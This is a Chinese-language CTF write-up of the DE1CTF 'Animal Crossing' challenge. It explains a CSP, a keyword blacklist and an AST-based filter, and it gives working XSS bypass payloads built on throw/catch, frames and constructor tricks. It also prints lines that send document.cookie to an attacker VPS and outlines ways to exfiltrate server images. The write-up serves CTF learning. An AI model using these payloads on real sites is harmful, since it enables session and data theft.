记录复现DE1CTF 的Animal Crossing
Animal Crossing
题目是一个可以自己编辑的通行证,然后可以将编辑好的链接发送给管理员,那么就应该是xss打cookie了.
首先发现存在CSP
1 | Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none'; |
上述CSP可以利用location.href = "http://dddddd"+document.cookie
来绕过.
经过测试发现对island和image和fruit都进行了编码,然后对data数据进行了检测,比赛时没有探测出检测的规则(其实时不会xss),赛后看了官方的writeup知道题目设置了两层waf
第一层:黑名单检测
1
2
3
4
5
6
7
8
9
10
11
12 var blackList = []string{
//global
"document", "window", "top", "parent", "global", "this",
//func
"console", "alert", "log", "promise", "fetch", "eval", "import",
//char
"<", ">", "`", "\\*", "&", "#", "%", "\\\\",
//key
"if", "set", "get", "with", "yield", "async", "wait", "func", "for", "error", "string",
//string
"href", "location", "url", "cookie", "src",
}黑名单的绕过思路无非避开被ban的字符串和字符,这里因为go的iris框架问题(看不出来是golang吧),导致
;
后的东西会被删掉,可以用%0a绕过第二层:静态语法分析
1
2
3
4
5
6
7
8
9 1. 将data传入`fmt.Sprintf("'%s';", data)`,然后进行语法解析,这里parse失败直接ban
2. 接着遍历AST进行分析:
1. VariableExpression/AssignExpression,所有声明语句/赋值语句直接ban
2. CallExpression,所有函数调用的,且callee不为Identifier的直接ban
1. ban:`test.test()`、`a[x]()`
2. pass:`test()`
3. BracketExpression,也就是成员引用,Member不为Identifier的直接ban,
1. ban:`a[1]`、`a['xx']`
2. pass:`a[x]`这一层waf,其实只要摸清ban的套路,针对性找到没被处理的语法来绕过即可,这里我的预期解是用throw传递变量,但是还有很多其他能用的语法(事实证明确实有很多)
有黑名单的检测还有对语法的检测,这里如果解析语法出错直接ban,然后禁止声明和赋值语句,
VariableExpression(变量表达式)
AssignExpression(赋值语句)
Identifier(标识符)
CallExpression(调用表达式)
BracketExpression(括号表达式,就是成员引用)
综上,在data中不能出现
1 | let a = 'dd'; |
这里现贴上出题人的payload
1 | YWxlcnQoMSk=%27%0atry{throw%20%27ev%27%2b%27al%27}catch(e){try{throw%20frames[e]}catch(c){c(atob(data))}}%0a// |
alert(1)>>>>>>>>>>>>>>>>>>>>>>>>>>>>>YWxlcnQoMSk=
把题目里的部分代码抠出来,出题人的payload如下图所示:
1 | data='YWxlcnQoMSk=' |
测试发现确实能够绕过waf,之前也没有用过go,所以出题人的这句话没清楚什么意思,有知道的师傅可以给我讲讲。
这里因为go的iris框架问题(看不出来是golang吧),导致
;
后的东西会被删掉,可以用%0a绕过
将location.href = "http://vps:8888/?flag="+document.cookie
base64编码,然后发过去
另外记录下一叶飘零师傅的payload,感觉采用的方法和NPUCTF的验证🐎那道题很像,先贴出payload
1 | data='||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27YWxlcnQoMSk=%27))}%2b1// |
原理是利用
在一元加操作符操作对象的时候,会先调用对象的valueOf方法来转换,
从之前的验证码那题可以知道,Math+1会因为Object与字符串拼接后原型会变成String,然后String的constructor为Function,这里利用new ''.constructor.constructor(atob('YWxlcnQoMSk='))
得到一个函数,但是不能自动执行,
从前面也看到waf ban了test.test()这种形式的函数,然后就可以利用前面的trick来进行函数的触发,如下图所示:
然后将
1 | btoa('location="http://ip/?flag="+document.cookie') |
在本地用docker复现时老是报500,遂罢。
这样这得到了半个flag,然后要得到后半部分要读出服务器的400张图片,这点可以通过读取document.body.innerHTML来得到,然后后面有三种方法去得到这400张图片
法一:
- 将截图库放到png,上传到/upload,绕过CSP,执行截图库
- 然后利用
fetch(
/static/images/xxxxxxxxx.png).then(res=>res.text()).then(txt=>eval(txt))
执行
法二:
用for循环把400个图全部传到/upload,获取400个图片地址然后回传
法三:
直接读取图片回传,可以是写脚本一张一张传,也可以是用for循环批量传,但是回传过程需要编码转换,传回去后也需要再转成图片进行拼接
参考
https://www.codemonster.cn/2020/05/06/2020-de1ctf-animal-crossing-writeup/#more